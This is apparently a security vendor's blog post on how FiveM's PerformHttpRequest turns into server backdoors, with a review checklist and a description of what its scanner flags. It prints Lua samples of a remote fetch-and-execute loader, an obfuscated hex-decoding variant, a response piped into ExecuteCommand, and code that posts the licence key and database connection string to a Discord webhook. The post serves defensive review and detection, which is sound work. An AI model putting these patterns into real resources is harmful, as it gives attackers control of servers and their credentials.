PerformHttpRequest security: when a FiveM HTTP call becomes a backdoor
PerformHttpRequest is in thousands of honest FiveM resources and almost every backdoor. How to tell them apart, with Lua examples and a review checklist.
Published 6 min readFXScan team, Titan Software
PerformHttpRequest is the FiveM server's HTTP client. It is how a resource
checks for updates, posts to a Discord webhook, validates a licence or pulls a
price table. It is also the first line of almost every FiveM backdoor ever
found. The function itself is neither safe nor dangerous - what matters is
where the response goes and what the request carries.
This note covers the four shapes worth knowing, what to look for when you review a resource by hand, and what FXScan flags (and deliberately does not).
The short answer
A PerformHttpRequest call is a problem when:
- its response reaches code execution -
load,loadstring,ExecuteCommand, or a file written to disk and later loaded; - its request carries secrets - your
sv_licenseKey, a database connection string,server.cfg, environment variables, player identifiers; - its URL is hidden - assembled from character codes, decoded at runtime, or fetched from a value another request returned.
A call that does none of these is, in the overwhelming majority of cases, an ordinary integration.
Shape 1: fetch and execute (remote code execution)
PerformHttpRequest("https://cdn.example.tld/v2/check", function(status, body)
if status == 200 and body then
local fn = load(body)
if fn then fn() end
end
end, "GET")
This is a backdoor in its purest form. Whoever controls that URL can run any Lua on your server, at any time, with every permission your server has: grant themselves admin, read your database credentials, wipe the economy. It does not matter what the resource claims to do or how reputable the store was.
Real samples rarely look this clean. The body is usually decoded first and
load is usually renamed:
local _r = _G[string.char(108, 111, 97, 100)] -- "load"
PerformHttpRequest(_u, function(_, b)
local d = ""
for h in b:gmatch("..") do d = d .. string.char(tonumber(h, 16)) end
_r(d)()
end)
The structure is identical: HTTP response → decoder → execution sink. That
chain is what FXScan's remote-code-execution rules look for, through aliases,
_G lookups and intermediate variables. The anatomy of a FiveM
backdoor walks through each step in more detail,
and remote code execution in FiveM covers the other ways
untrusted data becomes code.
Shape 2: fetch and run a console command
PerformHttpRequest(endpoint, function(_, body)
ExecuteCommand(body)
end)
No Lua is executed, but the result is the same. ExecuteCommand runs server
console commands, so the remote side can add_principal itself into
group.admin, stop your anticheat, or exec a config of its choosing.
Treat any HTTP response reaching ExecuteCommand as equivalent to Shape 1.
Shape 3: exfiltration
PerformHttpRequest("https://discord.com/api/webhooks/…", function() end, "POST",
json.encode({
content = GetConvar("sv_licenseKey", "") .. " " .. GetConvar("mysql_connection_string", "")
}),
{ ["Content-Type"] = "application/json" })
Nothing is executed here, which is why it survives review: the code "just
posts a message". But it hands your licence key and database credentials to
whoever owns the webhook. Variants read server.cfg with LoadResourceFile,
list your installed resources, or collect player identifiers.
FXScan flags the combination - a sensitive source (license key, connection string, config file, environment, identifiers) reaching an outbound request - and lists every outbound URL in the report's indicators so you can see at a glance which domains a resource talks to.
Shape 4: the legitimate call
PerformHttpRequest("https://api.example.com/version", function(status, body)
if status ~= 200 then return end
local data = json.decode(body)
if data and data.latest ~= CURRENT_VERSION then
print(("[my_resource] Update available: %s"):format(data.latest))
end
end, "GET")
The response is decoded as data, compared, and printed. It never becomes
code or a command, and the request carries nothing sensitive. This is what most
PerformHttpRequest calls look like, and FXScan does not report them. A scanner
that flagged every call would bury the one that matters under hundreds that do
not - and get switched off.
How to review PerformHttpRequest by hand
If you are reading a resource yourself, search for PerformHttpRequest and
answer four questions for each call:
| Question | Safe answer | Worrying answer |
|---|---|---|
| Is the URL a readable literal? | Yes, a domain you recognise | Built from string.char, hex, Base64, or another response |
What happens to body? |
json.decode into data, compared, displayed |
Passed to load, loadstring, ExecuteCommand, SaveResourceFile |
| What does the request send? | Nothing, or the resource's own version | Convars, server.cfg, identifiers, resource lists |
| Is it on the server or client? | Either, if the above are fine | Server-side - check server_scripts in fxmanifest.lua |
Then search the other direction: find every load, loadstring,
ExecuteCommand and SaveResourceFile, and trace their arguments backward. If
any of them can be reached from an HTTP callback, you have found the problem.
Two things make this harder than it sounds. Payloads are often split across
files (the request in one, the load in another, connected by a global), and
the URL is often itself fetched from somewhere. Following data across files is
exactly what a data-flow scanner is for.
What FXScan reports - and does not
Reported, as the relevant rules in the detection catalogue:
- an HTTP response executed as Lua (
load,loadstring, aliases,_Glookups); - an HTTP response executed as a server command;
- downloaded content written to disk, and a script downloaded and executed in the same flow;
- license key, connection strings, environment variables, config files, resource inventories or player identifiers sent to an external endpoint;
- Discord webhooks and bot tokens embedded in source, and webhooks that receive sensitive server data.
Not reported: a PerformHttpRequest whose response stays data and whose request
carries nothing sensitive.
The honest limit: a static scanner sees the code, not the server on the other end of the URL. A request to a domain that is harmless today can serve a payload tomorrow, and only a path to an execution sink reveals that the code would run it. What a security scan cannot tell you covers the rest of the limits.
Check a resource
Upload a resource ZIP to the FiveM backdoor scanner and every
PerformHttpRequest that reaches an execution sink or carries sensitive data is
shown as a chain - file, line and excerpt at each hop. For securing the rest of
the server, Titan Software's FiveM server security
guide is the place to
start.